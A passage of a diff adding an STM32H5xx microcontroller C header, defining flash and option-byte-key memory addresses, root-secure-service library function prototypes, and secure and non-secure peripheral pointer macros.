0x0140UL) + +/* Debug MCU registers base address */ +#define DBGMCU_BASE (0x44024000UL) +#define PACKAGE_BASE (0x08FFF80EUL) /*!< Package data register base address */ +#define UID_BASE (0x08FFF800UL) /*!< Unique device ID register base address */ +#define FLASHSIZE_BASE (0x08FFF80CUL) /*!< Flash size data register base address */ + +/* Internal Flash OTP Area */ +#define FLASH_OTP_BASE (0x08FFF000UL) /*!< FLASH OTP (one-time programmable) base address */ +#define FLASH_OTP_SIZE (0x800U) /*!< 2048 bytes OTP (one-time programmable) */ + +/* Flash system Area */ +#define FLASH_SYSTEM_BASE_NS (0x0BF80000UL) /*!< FLASH System non-secure base address */ +#define FLASH_SYSTEM_BASE_S (0x0FF80000UL) /*!< FLASH System secure base address */ +#define FLASH_SYSTEM_SIZE (0x10000U) /*!< 64 Kbytes system Flash */ + +/* Internal Flash EDATA Area */ +#define FLASH_EDATA_BASE_NS (0x09000000UL) /*!< FLASH high-cycle data non-secure base address */ +#define FLASH_EDATA_BASE_S (0x0D000000UL) /*!< FLASH high-cycle data secure base address */ +#define FLASH_EDATA_SIZE (0x18000U) /*!< 96 KB of Flash high-cycle data */ + +/* Internal Flash OBK Area */ +#define FLASH_OBK_BASE_NS (0x0BFD0000UL) /*!< FLASH OBK (option byte keys) non-secure base address */ +#define FLASH_OBK_BASE_S (0x0FFD0000UL) /*!< FLASH OBK (option byte keys) secure base address */ +#define FLASH_OBK_SIZE (0x2000U) /*!< 8 KB of option byte keys */ +#define FLASH_OBK_HDPL0_SIZE (0x100U) /*!< 256 Bytes of HDPL1 option byte keys */ + +#define FLASH_OBK_HDPL1_BASE_NS (FLASH_OBK_BASE_NS + FLASH_OBK_HDPL0_SIZE) /*!< FLASH OBK HDPL1 non-secure base address */ +#define FLASH_OBK_HDPL1_BASE_S (FLASH_OBK_BASE_S + FLASH_OBK_HDPL0_SIZE) /*!< FLASH OBK HDPL1 secure base address */ +#define FLASH_OBK_HDPL1_SIZE (0x800U) /*!< 2 KB of HDPL1 option byte keys */ + +#define FLASH_OBK_HDPL2_BASE_NS (FLASH_OBK_HDPL1_BASE_NS + FLASH_OBK_HDPL1_SIZE) /*!< FLASH OBK HDPL2 non-secure base address */ +#define FLASH_OBK_HDPL2_BASE_S (FLASH_OBK_HDPL1_BASE_S + FLASH_OBK_HDPL1_SIZE) /*!< FLASH OBK HDPL2 secure base address */ +#define FLASH_OBK_HDPL2_SIZE (0x300U) /*!< 768 Bytes of HDPL2 option byte keys */ + +#define FLASH_OBK_HDPL3_BASE_NS (FLASH_OBK_HDPL2_BASE_NS + FLASH_OBK_HDPL2_SIZE) /*!< FLASH OBK HDPL3 non-secure base address */ +#define FLASH_OBK_HDPL3_BASE_S (FLASH_OBK_HDPL2_BASE_S + FLASH_OBK_HDPL2_SIZE) /*!< FLASH OBK HDPL3 secure base address */ +#define FLASH_OBK_HDPL3_SIZE (0x13F0U) /*!< 5104 Bytes HDPL3 option byte keys */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) +#define FLASH_OBK_HDPL3S_BASE_NS (FLASH_OBK_HDPL3_BASE_NS) /*!< FLASH OBK HDPL3 non-secure base address */ +#define FLASH_OBK_HDPL3S_BASE_S (FLASH_OBK_HDPL3_BASE_S) /*!< FLASH OBK HDPL3 secure base address */ +#define FLASH_OBK_HDPL3S_SIZE (0x0C00U) /*!< 3072 Bytes of secure HDPL3 option byte keys */ + +#define FLASH_OBK_HDPL3NS_BASE_NS (FLASH_OBK_HDPL3_BASE_NS + FLASH_OBK_HDPL3S_SIZE) /*!< FLASH OBK HDPL3 non-secure base address */ +#define FLASH_OBK_HDPL3NS_BASE_S (FLASH_OBK_HDPL3_BASE_S + FLASH_OBK_HDPL3S_SIZE) /*!< FLASH OBK HDPL3 secure base address */ +#define FLASH_OBK_HDPL3NS_SIZE (FLASH_OBK_HDPL3_SIZE - FLASH_OBK_HDPL3S_SIZE) /*!< 2032 Bytes of non-secure HDPL3 option byte keys */ +#endif /* CMSE */ + +/*!< Root Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define RSSLIB_SYS_FLASH_NS_PFUNC_START (0xBF9FB68UL) +#define RSSLIB_SYS_FLASH_NS_PFUNC_END (0xBF9FB84UL) + +/************ RSSLIB function return constants ********************************/ +#define RSSLIB_ERROR (0xF5F5F5F5UL) +#define RSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define RSSLIB_PFUNC_BASE (0xBF9FB68UL) +#define RSSLIB_PFUNC ((RSSLIB_pFunc_TypeDef *)RSSLIB_PFUNC_BASE) + +/** + * @brief Prototype of RSSLIB Jump to HDP level2 Function + * @detail This function increments HDP level up to HDP level 2 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_S_JumpHDPlvl2_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief Prototype of RSSLIB Jump to HDP level3 Function + * @detail This function increments HDP level up to HDP level 3 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_S_JumpHDPlvl3_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief Prototype of RSSLIB Jump to HDP level3 Function + * @detail This function increments HDP level up to HDP level 3 + * Then it jumps to the non-secure reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_S_JumpHDPlvl3NS_TypeDef)(uint32_t VectorTableAddr); + +/** + * @brief Input parameter definition of RSSLIB_DataProvisioning + */ +typedef struct +{ + uint32_t *pSource; /*!< Address of the Data to be provisioned, shall be in SRAM3 */ + uint32_t *pDestination; /*!< Address in OBKeys sections where to provision Data */ + uint32_t Size; /*!< Size in bytes of the Data to be provisioned*/ + uint32_t DoEncryption; /*!< Notifies RSSLIB_DataProvisioning to encrypt or not Data*/ + uint32_t Crc; /*!< CRC over full Data buffer and previous field in the structure*/ +} RSSLIB_DataProvisioningConf_t; + +/** + * @brief Prototype of RSSLIB Data Provisioning Function + * @detail This function write Data within OBKeys sections. + * @param pointer on the structure defining Data to be provisioned and where to + * provision them within OBKeys sections. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_NSC_DataProvisioning_TypeDef)(RSSLIB_DataProvisioningConf_t *pConfig); + + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM RSSLIB_S_JumpHDPlvl2_TypeDef JumpHDPLvl2; + __IM RSSLIB_S_JumpHDPlvl3_TypeDef JumpHDPLvl3; + __IM RSSLIB_S_JumpHDPlvl3NS_TypeDef JumpHDPLvl3NS; +} S_pFuncTypeDef; + +/** + * @brief RSSLib Non-secure callable function pointer structure + */ +typedef struct +{ + __IM RSSLIB_NSC_DataProvisioning_TypeDef DataProvisioning; +} NSC_pFuncTypeDef; + +/** + * @brief RSSLib function pointer structure + */ +typedef struct +{ + NSC_pFuncTypeDef NSC; + uint32_t RESERVED1[3]; + S_pFuncTypeDef S; +}RSSLIB_pFunc_TypeDef; + +/*!< Non Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define NSSLIB_SYS_FLASH_NS_PFUNC_START (0xBF9FB6CUL) +#define NSSLIB_SYS_FLASH_NS_PFUNC_END (0xBF9FB74UL) + +/************ RSSLIB function return constants ********************************/ +#define NSSLIB_ERROR (0xF5F5F5F5UL) +#define NSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define NSSLIB_PFUNC_BASE (0xBF9FB6CUL) +#define NSSLIB_PFUNC ((NSSLIB_pFunc_TypeDef *)NSSLIB_PFUNC_BASE) + +/** + * @brief Prototype of RSSLIB Jump to HDP level2 Function + * @detail This function increments HDP level up to HDP level 2 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval NSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*NSSLIB_S_JumpHDPlvl2_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief Prototype of RSSLIB Jump to HDP level3 Function + * @detail This function increments HDP level up to HDP level 3 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval NSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*NSSLIB_S_JumpHDPlvl3_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM NSSLIB_S_JumpHDPlvl2_TypeDef JumpHDPLvl2; + __IM NSSLIB_S_JumpHDPlvl3_TypeDef JumpHDPLvl3; +} NSSLIB_pFunc_TypeDef; + + +/** @} */ /* End of group STM32H5xx_Peripheral_peripheralAddr */ + + +/* =========================================================================================================================== */ +/* ================ Peripheral declaration ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32H5xx_Peripheral_declaration + * @{ + */ + +/*!< APB1 Non secure peripherals */ +#define TIM2_NS ((TIM_TypeDef *)TIM2_BASE_NS) +#define TIM3_NS ((TIM_TypeDef *)TIM3_BASE_NS) +#define TIM4_NS ((TIM_TypeDef *)TIM4_BASE_NS) +#define TIM5_NS ((TIM_TypeDef *)TIM5_BASE_NS) +#define TIM6_NS ((TIM_TypeDef *)TIM6_BASE_NS) +#define TIM7_NS ((TIM_TypeDef *)TIM7_BASE_NS) +#define TIM12_NS ((TIM_TypeDef *)TIM12_BASE_NS) +#define TIM13_NS ((TIM_TypeDef *)TIM13_BASE_NS) +#define TIM14_NS ((TIM_TypeDef *)TIM14_BASE_NS) +#define WWDG_NS ((WWDG_TypeDef *)WWDG_BASE_NS) +#define IWDG_NS ((IWDG_TypeDef *)IWDG_BASE_NS) +#define SPI2_NS ((SPI_TypeDef *)SPI2_BASE_NS) +#define SPI3_NS ((SPI_TypeDef *)SPI3_BASE_NS) +#define USART2_NS ((USART_TypeDef *)USART2_BASE_NS) +#define USART3_NS ((USART_TypeDef *)USART3_BASE_NS) +#define UART4_NS ((USART_TypeDef *)UART4_BASE_NS) +#define UART5_NS ((USART_TypeDef *)UART5_BASE_NS) +#define I2C1_NS ((I2C_TypeDef *)I2C1_BASE_NS) +#define I2C2_NS ((I2C_TypeDef *)I2C2_BASE_NS) +#define I3C1_NS ((I3C_TypeDef *)I3C1_BASE_NS) +#define CRS_NS ((CRS_TypeDef *)CRS_BASE_NS) +#define USART6_NS ((USART_TypeDef *)USART6_BASE_NS) +#define USART10_NS ((USART_TypeDef *)USART10_BASE_NS) +#define USART11_NS ((USART_TypeDef *)USART11_BASE_NS) +#define CEC_NS ((CEC_TypeDef *)CEC_BASE_NS) +#define UART7_NS ((USART_TypeDef *)UART7_BASE_NS) +#define UART8_NS ((USART_TypeDef *)UART8_BASE_NS) +#define UART9_NS ((USART_TypeDef *)UART9_BASE_NS) +#define UART12_NS ((USART_TypeDef *)UART12_BASE_NS) +#define DTS_NS ((DTS_TypeDef *)DTS_BASE_NS) +#define LPTIM2_NS ((LPTIM_TypeDef *)LPTIM2_BASE_NS) +#define FDCAN1_NS ((FDCAN_GlobalTypeDef *)FDCAN1_BASE_NS) +#define FDCAN_CONFIG_NS ((FDCAN_Config_TypeDef *)FDCAN_CONFIG_BASE_NS) +#define UCPD1_NS ((UCPD_TypeDef *)UCPD1_BASE_NS) + +/*!< APB2 Non secure peripherals */ +#define TIM1_NS ((TIM_TypeDef *) TIM1_BASE_NS) +#define SPI1_NS ((SPI_TypeDef *) SPI1_BASE_NS) +#define TIM8_NS ((TIM_TypeDef *) TIM8_BASE_NS) +#define USART1_NS ((USART_TypeDef *) USART1_BASE_NS) +#define TIM15_NS ((TIM_TypeDef *) TIM15_BASE_NS) +#define TIM16_NS ((TIM_TypeDef *) TIM16_BASE_NS) +#define TIM17_NS ((TIM_TypeDef *) TIM17_BASE_NS) +#define SPI4_NS ((SPI_TypeDef *) SPI4_BASE_NS) +#define SPI6_NS ((SPI_TypeDef *) SPI6_BASE_NS) +#define SAI1_NS ((SAI_TypeDef *) SAI1_BASE_NS) +#define SAI1_Block_A_NS ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_NS) +#define SAI1_Block_B_NS ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_NS) +#define SAI2_NS ((SAI_TypeDef *) SAI2_BASE_NS) +#define SAI2_Block_A_NS ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_NS) +#define SAI2_Block_B_NS ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_NS) +#define USB_DRD_FS_NS ((USB_DRD_TypeDef *) USB_DRD_BASE_NS) +#define USB_DRD_PMA_BUFF_NS ((USB_DRD_PMABuffDescTypeDef *) USB_DRD_PMAADDR_NS) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_NS ((DMA_TypeDef *) GPDMA1_BASE_NS) +#define GPDMA2_NS ((DMA_TypeDef *) GPDMA2_BASE_NS) +#define FLASH_NS ((FLASH_TypeDef *) FLASH_R_BASE_NS) +#define CRC_NS ((CRC_TypeDef *) CRC_BASE_NS) +#define CORDIC_NS ((CORDIC_TypeDef *) CORDIC_BASE_NS) +#define FMAC_NS ((FMAC_TypeDef *) FMAC_BASE_NS) +#define RAMCFG_SRAM1_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_NS) +#define RAMCFG_SRAM2_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_NS) +#define RAMCFG_SRAM3_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_NS) +#define RAMCFG_BKPRAM_NS ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_NS) +#define ICACHE_NS ((ICACHE_TypeDef *) ICACHE_BASE_NS) +#define DCACHE1_NS ((DCACHE_TypeDef *) DCACHE1_BASE_NS) +#define GTZC_TZSC1_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_NS) +#define GTZC_TZIC1_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_NS) +#define GTZC_MPCBB1_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_NS) +#define GTZC_MPCBB2_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_NS) +#define GTZC_MPCBB3_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_NS) +#define GPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_NS) +#define GPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_NS) +#define GPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_NS) +#define GPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_NS) +#define GPDMA1_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_NS) +#define GPDMA1_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_NS) +#define GPDMA1_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_NS) +#define GPDMA1_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_NS) +#define GPDMA2_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel0_BASE_NS) +#define GPDMA2_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel1_BASE_NS) +#define GPDMA2_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel2_BASE_NS) +#define GPDMA2_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel3_BASE_NS) +#define GPDMA2_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel4_BASE_NS) +#define GPDMA2_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel5_BASE_NS) +#define GPDMA2_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel6_BASE_NS) +#define GPDMA2_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel7_BASE_NS) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_NS ((GPIO_TypeDef *) GPIOA_BASE_NS) +#define GPIOB_NS ((GPIO_TypeDef *) GPIOB_BASE_NS) +#define GPIOC_NS ((GPIO_TypeDef *) GPIOC_BASE_NS) +#define GPIOD_NS ((GPIO_TypeDef *) GPIOD_BASE_NS) +#define GPIOE_NS ((GPIO_TypeDef *) GPIOE_BASE_NS) +#define GPIOF_NS ((GPIO_TypeDef *) GPIOF_BASE_NS) +#define GPIOG_NS ((GPIO_TypeDef *) GPIOG_BASE_NS) +#define GPIOH_NS ((GPIO_TypeDef *) GPIOH_BASE_NS) +#define GPIOI_NS ((GPIO_TypeDef *) GPIOI_BASE_NS) +#define ADC1_NS ((ADC_TypeDef *) ADC1_BASE_NS) +#define ADC2_NS ((ADC_TypeDef *) ADC2_BASE_NS) +#define ADC12_COMMON_NS ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_NS) +#define DAC1_NS ((DAC_TypeDef *) DAC1_BASE_NS) +#define DCMI_NS ((DCMI_TypeDef *) DCMI_BASE_NS) +#define PSSI_NS ((PSSI_TypeDef *) PSSI_BASE_NS) +#define HASH_NS ((HASH_TypeDef *) HASH_BASE_NS) +#define HASH_DIGEST_NS ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_NS) +#define RNG_NS ((RNG_TypeDef *) RNG_BASE_NS) +#define PKA_NS ((PKA_TypeDef *) PKA_BASE_NS) + + +/*!< APB3 Non secure peripherals */ +#define SBS_NS ((SBS_TypeDef *) SBS_BASE_NS) +#define SPI5_NS ((SPI_TypeDef *) SPI5_BASE_NS) +#define LPUART1_NS ((USART_TypeDef *) LPUART1_BASE_NS) +#define I2C3_NS ((I2C_TypeDef *) I2C3_BASE_NS) +#define I2C4_NS ((I2C_TypeDef *) I2C4_BASE_NS) +#define LPTIM1_NS ((LPTIM_TypeDef *) LPTIM1_BASE_NS) +#define LPTIM3_NS ((LPTIM_TypeDef *) LPTIM3_BASE_NS) +#define LPTIM4_NS ((LPTIM_TypeDef *) LPTIM4_BASE_NS) +#define LPTIM5_NS ((LPTIM_TypeDef *) LPTIM5_BASE_NS) +#define LPTIM6_NS ((LPTIM_TypeDef *) LPTIM6_BASE_NS) +#define VREFBUF_NS ((VREFBUF_TypeDef *) VREFBUF_BASE_NS) +#define RTC_NS ((RTC_TypeDef *) RTC_BASE_NS) +#define TAMP_NS ((TAMP_TypeDef *) TAMP_BASE_NS) + +/*!< AHB3 Non secure peripherals */ +#define PWR_NS ((PWR_TypeDef *) PWR_BASE_NS) +#define RCC_NS ((RCC_TypeDef *) RCC_BASE_NS) +#define EXTI_NS ((EXTI_TypeDef *) EXTI_BASE_NS) + +/*!< AHB4 Non secure peripherals */ +#define SDMMC1_NS ((SDMMC_TypeDef *) SDMMC1_BASE_NS) +#define DLYB_SDMMC1_NS ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_NS) + +#define OCTOSPI1_NS ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_NS) +#define DLYB_OCTOSPI1_NS ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_NS) + +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_NS ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_NS) +#define FMC_Bank1E_R_NS ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_NS) +#define FMC_Bank3_R_NS ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_NS) +#define FMC_Bank5_6_R_NS ((FMC_Bank5_6_TypeDef *) FMC_Bank5_6_R_BASE_NS) + +/*!< APB1 Secure peripherals */ +#define TIM2_S ((TIM_TypeDef *)TIM2_BASE_S) +#define TIM3_S ((TIM_TypeDef *)TIM3_BASE_S) +#define TIM4_S ((TIM_TypeDef *)TIM4_BASE_S) +#define TIM5_S ((TIM_TypeDef *)TIM5_BASE_S) +#define TIM6_S ((TIM_TypeDef *)TIM6_BASE_S) +#define TIM7_S ((TIM_TypeDef *)TIM7_BASE_S) +#define TIM12_S ((TIM_TypeDef *)TIM12_BASE_S) +#define TIM13_S ((TIM_TypeDef *)TIM13_BASE_S) +#define TIM14_S ((TIM_TypeDef *)TIM14_BASE_S) +#define WWDG_S ((WWDG_TypeDef *)WWDG_BASE_S) +#define IWDG_S ((IWDG_TypeDef *)IWDG_BASE_S) +#define SPI2_S ((SPI_TypeDef *)SPI2_BASE_S) +#define SPI3_S ((SPI_TypeDef *)SPI3_BASE_S) +#define USART2_S ((USART_TypeDef *)USART2_BASE_S) +#define USART3_S ((USART_TypeDef *)USART3_BASE_S) +#define UART4_S ((USART_TypeDef *)UART4_BASE_S) +#define UART5_S ((USART_TypeDef *)UART5_BASE_S) +#define I2C1_S ((I2C_TypeDef *)I2C1_BASE_S) +#define I2C2_S ((I2C_TypeDef *)I2C2_BASE_S) +#define I3C1_S ((I3C_TypeDef *)I3C1_BASE_S) +#define CRS_S ((CRS_TypeDef *)CRS_BASE_S) +#define USART6_S ((USART_TypeDef *)USART6_BASE_S) +#define USART10_S ((USART_TypeDef *)USART10_BASE_S) +#define USART11_S ((USART_TypeDef *)USART11_BASE_S) +#define CEC_S ((CEC_TypeDef *)CEC_BASE_S) +#define UART7_S ((USART_TypeDef *)UART7_BASE_S) +#define UART8_S ((USART_TypeDef *)UART8_BASE_S) +#define UART9_S ((USART_TypeDef *)UART9_BASE_S) +#define UART12_S ((USART_TypeDef *)UART12_BASE_S) +#define DTS_S ((DTS_TypeDef *)DTS_BASE_S) +#define LPTIM2_S ((LPTIM_TypeDef *)LPTIM2_BASE_S) +#define FDCAN1_S ((FDCAN_GlobalTypeDef *)FDCAN1_BASE_S) +#define FDCAN_CONFIG_S ((FDCAN_Config_TypeDef *)FDCAN_CONFIG_BASE_S) +#define UCPD1_S ((UCPD_TypeDef *)UCPD1_BASE_S) + +/*!< APB2 secure peripherals */ +#define TIM1_S ((TIM_TypeDef *) TIM1_BASE_S) +#define SPI1_S ((SPI_TypeDef *) SPI1_BASE_S) +#define TIM8_S ((TIM_TypeDef *) TIM8_BASE_S) +#define USART1_S ((USART_TypeDef *) USART1_BASE_S) +#define TIM15_S ((TIM_TypeDef *) TIM15_BASE_S) +#define TIM16_S ((TIM_TypeDef *) TIM16_BASE_S) +#define TIM17_S ((TIM_TypeDef *) TIM17_BASE_S) +#define SPI4_S ((SPI_TypeDef *) SPI4_BASE_S) +#define SPI6_S ((SPI_TypeDef *) SPI6_BASE_S) +#define SAI1_S ((SAI_TypeDef *) SAI1_BASE_S) +#define SAI1_Block_A_S ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_S) +#define SAI1_Block_B_S ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_S) +#define SAI2_S ((SAI_TypeDef *) SAI2_BASE_S) +#define SAI2_Block_A_S ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_S) +#define SAI2_Block_B_S ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_S) +#define USB_DRD_FS_S ((USB_DRD_TypeDef *)USB_DRD_BASE_S) +#define USB_DRD_PMA_BUFF_S ((USB_DRD_PMABuffDescTypeDef *) USB_DRD_PMAADDR_S) + +/*!< AHB1 secure peripherals */ +#define GPDMA1_S ((DMA_TypeDef *) GPDMA1_BASE_S) +#define GPDMA2_S ((DMA_TypeDef *) GPDMA2_BASE_S) +#define FLASH_S ((FLASH_TypeDef *) FLASH_R_BASE_S) +#define CRC_S ((CRC_TypeDef *) CRC_BASE_S) +#define CORDIC_S ((CORDIC_TypeDef *) CORDIC_BASE_S) +#define FMAC_S ((FMAC_TypeDef *) FMAC_BASE_S) +#define RAMCFG_SRAM1_S ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_S) +#define RAMCFG_SRAM2_S ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_S) +#define RAMCFG_SRAM3_S ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_S) +#define RAMCFG_BKPRAM_S ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_S) +#define ICACHE_S ((ICACHE_TypeDef *) ICACHE_BASE_S) +#define DCACHE1_S ((DCACHE_TypeDef *) DCACHE1_BASE_S) +#define GTZC_TZSC1_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_S) +#define GTZC_TZIC1_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_S) +#define GTZC_MPCBB1_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_S) +#define GTZC_MPCBB2_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_S) +#define GTZC_MPCBB3_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_S) +#define GPDMA1_Channel0_S ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_S) +#define GPDMA1_Channel1_S ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_S) +#define GPDMA1_Channel2_S ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_S) +#define GPDMA1_Channel3_S ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_S) +#define GPDMA1_Channel4_S ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_S) +#define GPDMA1_Channel5_S ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_S) +#define GPDMA1_Channel6_S ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_S) +#define GPDMA1_Channel7_S ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_S) +#define GPDMA2_Channel0_S ((DMA_Channel_TypeDef *) GPDMA2_Channel0_BASE_S) +#define GPDMA2_Channel1_S ((DMA_Channel_TypeDef *) GPDMA2_Channel1_BASE_S) +#define GPDMA2_Channel2_S ((DMA_Channel_TypeDef *) GPDMA2_Channel2_BASE_S) +#define GPDMA2_Channel3_S ((DMA_Channel_TypeDef *) GPDMA2_Channel3_BASE_S) +#define GPDMA2_Channel4_S ((DMA_Channel_TypeDef *) GPDMA2_Channel4_BASE_S) +#define GPDMA2_Channel5_S ((DMA_Channel_TypeDef *) GPDMA2_Channel5_BASE_S) +#define GPDMA2_Channel6_S ((DMA_Channel_TypeDef *) GPDMA2_Channel6_BASE_S) +#define GPDMA2_Channel7_S ((DMA_Channel_TypeDef *) GPDMA2_Channel7_BASE_S) + + +/*!< AHB2 secure peripherals */ +#define GPIOA_S ((GPIO_TypeDef *) GPIOA_BASE_S) +#define GPIOB_S ((GPIO_TypeDef *) GPIOB_BASE_S) +#define GPIOC_S ((GPIO_TypeDef *) GPIOC_BASE_S) +#define GPIOD_S ((GPIO_TypeDef *) GPIOD_BASE_S) +#define GPIOE_S ((GPIO_TypeDef *) GPIOE_BASE_S) +#define GPIOF_S ((GPIO_TypeDef *) GPIOF_BASE_S) +#define GPIOG_S ((GPIO_TypeDef *) GPIOG_BASE_S) +#define GPIOH_S ((GPIO_TypeDef *) GPIOH_BASE_S) +#define GPIOI_S ((GPIO_TypeDef *) GPIOI_BASE_S) +#define ADC1_S ((ADC_TypeDef *) ADC1_BASE_S) +#define ADC2_S ((ADC_TypeDef *) ADC2_BASE_S) +#define ADC12_COMMON_S ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_S) +#define DAC1_S ((DAC_TypeDef *) DAC1_BASE_S) +#define DCMI_S ((DCMI_TypeDef *) DCMI_BASE_S) +#define PSSI_S ((PSSI_TypeDef *) PSSI_BASE_S) +#define HASH_S ((HASH_TypeDef *) HASH_BASE_S) +#define HASH_DIGEST_S ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_S) +#define RNG_S ((RNG_TypeDef *) RNG_BASE_S) +#define PKA_S ((PKA_TypeDef *) PKA_BASE_S) + +/*!< APB3 secure peripherals */ +#define SBS_S ((SBS_TypeDef *) SBS_BASE_S) +#define SPI5_S ((SPI_TypeDef *) SPI5_BASE_S) +#define LPUART1_S ((USART_TypeDef *) LPUART1_BASE_S) +#define I2C3_S ((I2C_TypeDef *) I2C3_BASE_S) +#define I2C4_S ((I2C_TypeDef *) I2C4_BASE_S) +#define LPTIM1_S ((LPTIM_TypeDef *) LPTIM1_BASE_S) +#define LPTIM3_S ((LPTIM_TypeDef *) LPTIM3_BASE_S) +#define LPTIM4_S ((LPTIM_TypeDef *) LPTIM4_BASE_S) +#define LPTIM5_S ((LPTIM_TypeDef *) LPTIM5_BASE_S) +#define LPTIM6_S ((LPTIM_TypeDef *) LPTIM6_BASE_S) +#define VREFBUF_S 